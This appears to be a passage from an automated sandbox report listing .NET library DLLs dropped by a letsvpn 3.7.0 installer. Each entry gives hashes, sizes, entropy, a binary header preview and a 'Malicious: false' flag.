SHA-512:	014A15EC64C7BC34870F0F01FF91E4A2260B339EE465C1FEF3729452D3F0691B8485D8674B06C4DAC51A69A7CCDB3C8515B6755E39B37AD1BDC15A978A76BA50
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....mo..........." ..0..p..........n^... ........... ..............................+.....`..................................^..O....................\|...+...........]..T............................................ ............... ..H............text....o... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B................M^......H.......H....$..........<...`....\........................................(....^.(.......5...%...}....:.(......}....:.(......}....:.(......}.....~.....0..........(....,....(.....o.......&.................!....0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....( .....(!.....(....,.r...p......%...%...(.......("...*.(...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.927179205354201
Encrypted:	false
SSDEEP:	384:lb1nWCXWmdpwKANynsAw/98E9VF3AM+orDVZ0Q:x74Aw/KENAMxXH
MD5:	90A4D4A07BEB68CF3F641935FF0229C1
SHA1:	BC2A0BAEB1EC6C34714C40F33D8194AA540AAAD4
SHA-256:	CDC8957F0778ED38E697BA3B7661F9D3543DA00FDBA834A61AF62F4978F98294
SHA-512:	F9B62F7177CA2020EB44EDC7A1F097096392189504AF98E24318289EAE51BCE0A70DB1E2237290FB6A0B6B70B699963A16F46064FD2DDAF8B764480CE33217A5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................]r....@..................................(..O....@..T................+...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc...T....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~.. ...t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....6.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.836516443249949
Encrypted:	false
SSDEEP:	384:IqyW7TWLopwKANynsAw/98E9VF3AM+oR2b7NT:1f0Aw/KENAMxwT
MD5:	73E9DCD5DD395B8C15EAB23303AE9AE3
SHA1:	54697AA3D6A002F982BA6F93C3AF85AA6C1133BA
SHA-256:	5020407879BABD2AF25F093BD45665C03FC5831CAD9D58D2DBCE87D12F59BBDD
SHA-512:	3546F0AA0DB8094490EEA23CBFCD33BFE7F69700BCF27CE871B5B08329898BB2031FAD9C4CD39AD9A2348A3901964EC33F6655083BD19A2859CC9E654E5A6693
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............2... ...@....... ...............................e....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...0...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.7.....7.....7...C.7.....7.....7...[.7...x.7...-.0.....7.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.960673757391943
Encrypted:	false
SSDEEP:	384:l6Rb32WVzWVUpwKANynsAw/98E9VF3AM+ogBBuQi3:8Rb3duAw/KENAMxgXu7
MD5:	8D876A48CE52BCA7873C6C29B10BB96E
SHA1:	B22DF4366A0325156A792032FC95E947E6C22D43
SHA-256:	F7C91AE5F6A7A8258EDA85589FB77A46E454305320409512DC336DAA60DC1083
SHA-512:	31A7339EA54420DD0C260C333A8C5DD569C889501A22AA6C5C4C52441F3AD2BC966CC917D3AA1037AE30C5BC7DCFAB38BC2796F93711BF668F30B03C4669CCFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................X.....@.................................t)..O....@..P................+...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................K...d.K...8.8...k.....L.................K.................c...........5.........................2.....2.....2...).2...1.2...9.2...A.2...I.2...Q.2...Y.2...a.2...i.2...q.2.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32232
Entropy (8bit):	6.374023696115185
Encrypted:	false
SSDEEP:	384:LMTiavAbgFWyO5XIu+TJSl2Yd5zcNEkUr6ODA7WpOWKupwKANynsAw/98E9VF3AJ:LMWavA+YHfsZtauAw/KENAMxK
MD5:	D393460D0440E84FC59A295DEE479D66
SHA1:	1204D4151A146572AD7F4978AC051C60F46131B7
SHA-256:	3D8792448435361C357C8851973535DD446DCBE3DA702D039FF662A27BD50A9C
SHA-512:	72C9B9D1E0687793EE022CCEF9590D0BBEDFA06F9E025B10D090A469A994BB27CDB2BA6E6D9DB107E0C7846FFDAC40A475D0C0EBA9696BBFFBB3C4ED078E3CEE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..D..........zb... ........... ..............................."....`.................................%b..O.......l............R...+..........(a..T............................................ ............... ..H............text....B... ...D.................. ..`.rsrc...l............F..............@..@.reloc...............P..............@..B................Yb......H........%..$-...........R.......`........................................(....^.(..........%...}....:.(......}....:.(......}....:.(......}.....~.....0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......( ....(...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32744
Entropy (8bit):	6.586709819373184
Encrypted:	false
SSDEEP:	768:cu5I+sqOylryry8qqIfUc7a5xAw/KENAMxY8:cYIVBpry8qqIfUcm5xAwrxp
MD5:	E2F5E7ED8C7E04FB7A2C32A4170260E5
SHA1:	CBB76FA4201F2BF9C5FA53600A0BC29F218855A4
SHA-256:	203CFB596421D608F65F145F93427CA68E2D8A75BAB0D6D94EA8F32FFE22D63E
SHA-512:	B2DBDEFE0EA0F8325736ECB684DE537B6D57D4DB7BD44F5CDA58EBAF0060E874495A9E5C3F6C38FD73E42028CB30834E8A19E6F922CDD90B4BD4B983C52EA697
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..F...........d... ........... ....................................@..................................c..O.......x............T...+...........c............................................... ............... ..H............text....D... ...F.................. ..`.rsrc...x............H..............@..@.reloc...............R..............@..B.................c......H........&...7...........^.......b......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rK..p.(....2ry..p.(....2r...p.(....2r...p.(....2rc..p.(..........(......0..;........\|....(......./......(....o....s

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28136
Entropy (8bit):	6.5543265047258
Encrypted:	false
SSDEEP:	384:jvR973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8ah1pwKANynsAw/98E9Vh:jvRZ4nNxnYTb6BlhpAw/KENAMxp7L
MD5:	45AE1D721891F77D2E6A6BC3E6EAB195
SHA1:	1AB3C6CAFF6F2D959C3D4597CB02E126E56DB58A
SHA-256:	22F85D65BD689C5393FF32E5E7CBB3D87531F3FA7BA8A3DAAAB44BA08F613E87
SHA-512:	0FEF3C23F833C69A74199ADE21392C6712EC0881FB27592DF3125EC06722331178FDA6F0707D0AA8355693ADC565B92AE6F92D48DE10A63B0F61DE0ADFAE7E45
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ...................................@..................................V..O....`...............B...+..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(......(....z..(....z2.(....s....2.(....s....:........o.....~....~.-..(......}......}......}....~.-..(......}......}......}....Z..}......}......}....J.{....%-.&.o....^.u....,........(.....~.{.....{....3..{.....{.......&...(....2...(...........0..'........{......,..u....%-.&..(...+(....(....n.{....,..(....s.....q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.928323919167167
Encrypted:	false
SSDEEP:	384:z4vn4HREpWiQW87pwKANynsAw/98E9VF3AM+oI3J:zPSfAw/KENAMx4
MD5:	A73C080C9562DEBA6E6F8B2626F24A00
SHA1:	2A5048D16C100B1E3422D5B8DEB13FBEBACEE7DB
SHA-256:	2D2357B931E68EB9283ED8817EDB64C8D3B5A2C6723BD32E2D3371916E76FB90
SHA-512:	BE2767E98759423A59D873796E2545848197990BC49E396B525B33F2BE8E49152CAC8FB095F45FFE229CE905996F44D2FAB45A4AE39EE576996F8B74D2C50405
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@..P................+...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......l...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................n.....B.....".....V.................U...........$.....m...........?.....(...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.829158312131995
Encrypted:	false
SSDEEP:	384:k8MjKb47T3UCcqFMkJ59WdtWpXpwKANynsAw/98E9VF3AM+oD5KAo/:VMjKb4vcGdOLAw/KENAMxMAo/
MD5:	98579FA7FB01CD7666F564FD273AD424
SHA1:	88792C42E1B526E2D907ECE65BC64D2A07C99D49
SHA-256:	4FFC812D280F101C200872A7140DCA5FB222A08F506997AE9FFF27CB27D8C199
SHA-512:	F7331EBA38A6CC2F9B1442178B7CDA78F32507730730AAA3ED6C3B8D764EE20AEEA2290CE0CD55D3A743C80A0B220DAADE03C06197FC388F5D45118E14C305B4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ...............................5....@.................................`,..O....@...................+...`......(+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P ..X....................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....4.......#US.8.......#GUID...H.......#Blob......................3................................!.....O.......................................].....z.............................7.......j...........n...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.917328117494581
Encrypted:	false
SSDEEP:	384:jzyNXd4+BW6FWzrpwKANynsAw/98E9VF3AM+o0PkUpw8Pa3:qzxAw/KENAMxqZ6
MD5:	C9F015CBA9609668C0C970A1A88CB4E8
SHA1:	9ECF07C05EE73AD21372CAD179CDECFB1C4E7A03
SHA-256:	D1B57D24DBE51F1EC4B9B9A5CBA555550B274D94575BCC75E964E02CCE3875DF
SHA-512:	41CC6DDF48BF19F6643B202B42A3BD0EEE9D3848C42556ABED47411488FF5CE688852751B5B2BA8479AC8E9A5AF987A63F9252AEEA00193C44DE7AD0994BB2B8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@...................+...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...p...#Strings............#US.........#GUID...........#Blob......................3..................................................'.....'...T.....G.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.916441350283002
Encrypted:	false
SSDEEP:	384:/vs2Q3HKJNrWWRWiSpwKANynsAw/98E9VF3AM+ogHr90:/uMlAw/KENAMxMS
MD5:	0597C0D32D6E663B59B92D42D98FE31B
SHA1:	6F7392F213D5C9C4E3EE94DCD4C25333F7527F8D
SHA-256:	FBF32DFA2811A9F728FC51B437F763CEBACEFD1E6E931ED18068643A9E7C9C45
SHA-512:	F3E295022257DD1C95D8A9B7D045B844C0A0AFA1943FB008B80E6C792700587135C129DDB3DE08E54493A261F91F96AABA6FBF9EADF98D1F77D40342183DCB12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................tC....@..................................(..O....@..4................+...`......h'............................................... ............... ..H............text........ ...................... ..`.rsrc...4....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....p.......#US.t.......#GUID...........#Blob......................3................................................../...q./...E.....O.....Y.................X...........'.....p...........B.....+...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.8...K.X...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.889393529322428
Encrypted:	false
SSDEEP:	384:mFz0Q6gcqRhcsMWdMW/wpwKANynsAw/98E9VF3AM+oQRhSAnAI:mFz1c6/Aw/KENAMxFAN
MD5:	52A8DF0DF20D4E4C72107C7A82935773
SHA1:	178D2F122689F07098CEC8D526A330C0D02F62B1
SHA-256:	58FF8C50A179DB011F34964FFD747A9C8CB280C074CCEEF7436B298633AB17F9
SHA-512:	8AE6B87E1086C430D9C12220354E4332DA114D267BDC8A07F61D24EC3A890FE869D678F80230658BE0089B66C00A4EE46CDB78C1B6CF3E77BB74204DB0FDB91E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................\|.....@.................................L(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..D....................&......................................BSJB............v4.0.30319......l.......#~......,...#Strings.... .......#US.$.......#GUID...4.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.78331502201167
Encrypted:	false
SSDEEP:	384:G6xWA3W4aW/NW1xpwKANynsAw/98E9VF3AM+olHSDWo42:GaB1Aw/KENAMxZSDq2
MD5:	98682F0CEFC51030D2EE76866B2D4029
SHA1:	F47F43A44BACF0DAD4D66BDFCE8D406821973AFF
SHA-256:	2C81B75DEA691B6DB2514146F85821EAD16C18E84FBDA68A6010FA7D69B2A969
SHA-512:	400C139C7F2C12260E66FC498AF1FA718C624EDA53DCCAD1B33ECD0B8BAB0068A907B7C49A99986A4FD12DA3BF9B048F7762EFD28F5E8EA20104B22D1B6EEDFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ...............................B....@..................................+..O....@...................+...`...................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P .............................................................BSJB............v4.0.30319......l... ...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................-.........O.k.....k.....X.....................1...........o.........................B...........9...........J.....J.....J...).J...1.J...9.J...A.J...I.J...Q.J...Y.J...a.J...i.J...q.J.......................#.....+.....3.....;.....C.-...K.M...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	74216
Entropy (8bit):	5.952655867460952
Encrypted:	false
SSDEEP:	1536:mIumja0tbe16pSc45EfL+4vD4SuJbhjXuE3FMqF1KAy4kHo05ureseh79BAwrxR:mIuAaGbeGq5rKASI0IChBhz
MD5:	0AB734A059B8A7A35BB486D746B8690F
SHA1:	7EC8D01ABB66672657D2FF8B064CA88E6003BF18
SHA-256:	F1F5F7EA3526F7ED0290FAA00573ED2619E234891D10148F58695B9CAAB8DF30
SHA-512:	D40885E9A00FC8110C5B23950B265F994E03048A3369DA5CC694975B464DCBED42E4FB8AF04E0D4CF5198886821DFE6C44B38BDD5916B472F192411C51858F95
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............~.... ... ....... .......................`............@.................................,...O.... ..x................+...@....................................................... ............... ..H............text........ ...................... ..`.rsrc...x.... ......................@..@.reloc.......@......................@..B................`.......H.......................d.......t.......................................6..o.........f..o...........o............o...........o...........o............o...........o...........o ...........o!...........o"..........o#..........o$...........o%...........o&............0..L.........o'..........o(..........o)...........o...........o+...........o,.........0..Y.........o-..........o...........o/...........o0...........o1...........o2...........o3.... .......0..k.........o4....

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18408
Entropy (8bit):	6.764218616884775
Encrypted:	false
SSDEEP:	384:/vx21MWeLqWYFpwKANynsAw/98E9VF3AM+o/7W:/J2WfAw/KENAMxK
MD5:	B9AC9A5E32A5CC5BE9D5FE05183594E9
SHA1:	BC9E3A9BA0FCC25EFB2C4A37BD6D42E27902E003
SHA-256:	3A73C973BDDE70F6EF8027D6015448F3B762D7F7B2433FCE1B235E95D77D8EC4
SHA-512:	184362A3E67C103F33C812082373BCD7CDE56CC45D6F057FF886C78E77C06957DE77A4DBFC8E129FE996051657E260778AB246EF0046E4CCB6B0E9D1A1FAC3C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s.~..........." ..0.............:1... ...@....... ....................................`..................................0..O....@...................+...`......./..T............................................ ............... ..H............text...@.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H.......P .. ...................p/......................................BSJB............v4.0.30319......l...h...#~..........#Strings............#US.........#GUID.......4...#Blob......................3................................F...............4.c.....c...o.<...............U...........m.......................T.............2.................6.....6.....6...).6...1.6...9.6...A.6...I.6...Q.6...Y.6...a.6...i.6...q.6.......................#.....+.*...+.F...+.\...3.r...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	51176
Entropy (8bit):	6.240820708447174
Encrypted:	false
SSDEEP:	1536:/3wBccZdxuB8mQen6JxKjrlMZgR0EoOAwrxS:vcHmQPUkOhw
MD5:	80866CD6502A9D91428C49FC8FB36416
SHA1:	CD2D2CBAC6DF3A373F70101AAD62CCBAD14C13DC
SHA-256:	525114F24029CA5190C757062E44EDD67B97473EC86ED7EF8C3EED6EDCDAAC50
SHA-512:	EEC2909FAF99F85A99F25B646EB596ABA3E596697C514FEA526458DE0529CAB54A16D6F4A6D654734F0F4BF5EDF214903032EA569058185E0E8FFC8FCE51E383
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...du.K...........!..................... ........ ;. ....................................@.................................\...O........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......4O..X`..........xD......P ......................................{c...2......q..Z,.C.....3.n.Z..7....R.....T.{yF")i.$JMv...,a.....U...M:,...Z.Q:..c..N.{....<....h%.....:s..T...Z.gSI.....6.(.....{.......0..&........(..............s....o.....s....}.......0..K........(.....{....o........,3..+&..( .........{.....o!..............X...(....2...0..L........{.....o"...,=(#...(..................($...o%.......(&...o%.....('...s(...z*.0...........o).......E............d

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.90491148831205
Encrypted:	false
SSDEEP:	384:Or97WquWjhpwKANynsAw/98E9VF3AM+obFl:ORJEAw/KENAMxj
MD5:	88B01692B46FE2F201F91366FAD7E908
SHA1:	4B1DE540BBBAD79455B21B9361B6CDF465F983CF
SHA-256:	5D1979961DA9D938CBF578F8A847D4159A8640FC313CCC771B345567CFCD5EFE
SHA-512:	5A8229E6FCAB6434445492B40B4C30392318F619D8BEAF2F05E5FBBAFE94D6E28D8155673E29A58D3BC2E6482D44BDF31E43BDA377A682E731B4C29AE503EE0D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............+... ...@....... ...................................@.................................\+..O....@...................+...`......$*............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P ..T....................)......................................BSJB............v4.0.30319......l.......#~..T.......#Strings....0.......#US.4.......#GUID...D.......#Blob......................3......................................z...........j.....j.....W...............B.....z.............................................................Q.....Q.....Q...).Q...1.Q...9.Q...A.Q...I.Q...Q.Q...Y.Q...a.Q...i.Q...q.Q.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.851482900898342
Encrypted:	false
SSDEEP:	384:Y16eWLDW3CpwKANynsAw/98E9VF3AM+o2C+d:g6LqAw/KENAMxad
MD5:	89B44404F8298AFFDBC7FF174F442DDF
SHA1:	25CD59251DF4328BE8B1B9144B90D57B0A86EBDB
SHA-256:	9EA9286DDAF4ACDA11284362B3E3C5C65F289FF3DF6B680CB7476E929AA589CB
SHA-512:	A5D7B68D6C2E84DD6EA4047D5978C98DA5804FC1A3B93E30737FBF6ED5F1D2522E5647E700564AEB6A7C162EBCCF2878DAF9FA3EFA313FB7F90D2E801E86EAF5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0................. ...@....... ....................................@.................................\|..O....@...................+...`......D)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ..t....................(......................................BSJB............v4.0.30319......l.......#~......8...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................z.....z...u.g.................................>.....W.................r.....[...................a.....a.....a...).a...1.a...9.a...A.a...I.a...Q.a...Y.a...a.a...i.a...q.a.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17896
Entropy (8bit):	6.843882988196922
Encrypted:	false
SSDEEP:	384:HY8G4YC2W+wW8WpwWxUpwKANynsAw/98E9VF3AM+oQ4fTmr:HjGZ5xAw/KENAMxw
MD5:	BACB698D88F26E656D6C42D0E0537A51
SHA1:	E1BF00B8D7AC8EEB88D7759D944235AA7F81A609
SHA-256:	3D83845CF4EE08017DC971F361CEBFB55CC98D369210B5AC1D910932FC91EB8B
SHA-512:	ADCFC1392EDC624C1C74E4B681037211D790B310BDDD5AB238A614C0B9C6B56458A3DBE29E98A946AD9F078FE5BB95F290954514C722FCBA643A8C2EA80606A7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............+... ...@....... ....................................@.................................z+..O....@..x................+...`...................................................... ............... ..H............text........ ...................... ..`.rsrc...x....@......................@..@.reloc.......`......................@..B.................+......H.......t ......................P........................................s....:.(......}....2.{....(....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...........#Blob...........WW.........3..............................................................L.........4.H...}.H...u.v...........;...........;...=.;.................../.%...........P.....m.....................................v...S.......v...d.v...........v...m...............

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.947021415380896
Encrypted:	false
SSDEEP:	384:B6ziqTEkGWvRW67pwKANynsAw/98E9VF3AM+oxLJcC+w3R:BYT1kAw/KENAMxcC/h
MD5:	1CEAC27FDB0F2D030AC6BBAD54142E4B
SHA1:	D07B4632A71349EC5B32CC7742D273C5584C8238
SHA-256:	F148D8286C890468B3B7E4ABBFCFFD8D7A46609F7A35819390A4CC02EA088638
SHA-512:	ABE58CE1B68388A031057C182EFBD95B8FD0783D1B9FA06C8B2A74D5475A5CC794EB030240261CADDDE70002AE9706A0AA5314775DC034AC31E429A17E08F006
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@...................+...`......d(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3................................................'...........~...................................G.....`.................{.....d...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.-...K.M...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.866181828112814
Encrypted:	false
SSDEEP:	384:/Uv7c7iWNCWzIpwKANynsAw/98E9VF3AM+oSje6V31o2:/M7c11Aw/KENAMx2e61y2
MD5:	6707533500FC64115A39DB26979FA539
SHA1:	FA5638550E60177FFAF2B3AE0A7FFBE86BB003BF
SHA-256:	3F4C126146F0F1ADB99CC51F46350D18BB972D8AA4361011C78E01943FE923D1
SHA-512:	B075B4B6DB1C5417C013B5D15BC28EA59F34245C91A03054DF229CC102C2FC5486AA9E96DF273C6BCE4F48F7C61D2496CDD9DFA52068C21A8FA8D6B3EDF6EFCD
Malicious:	false
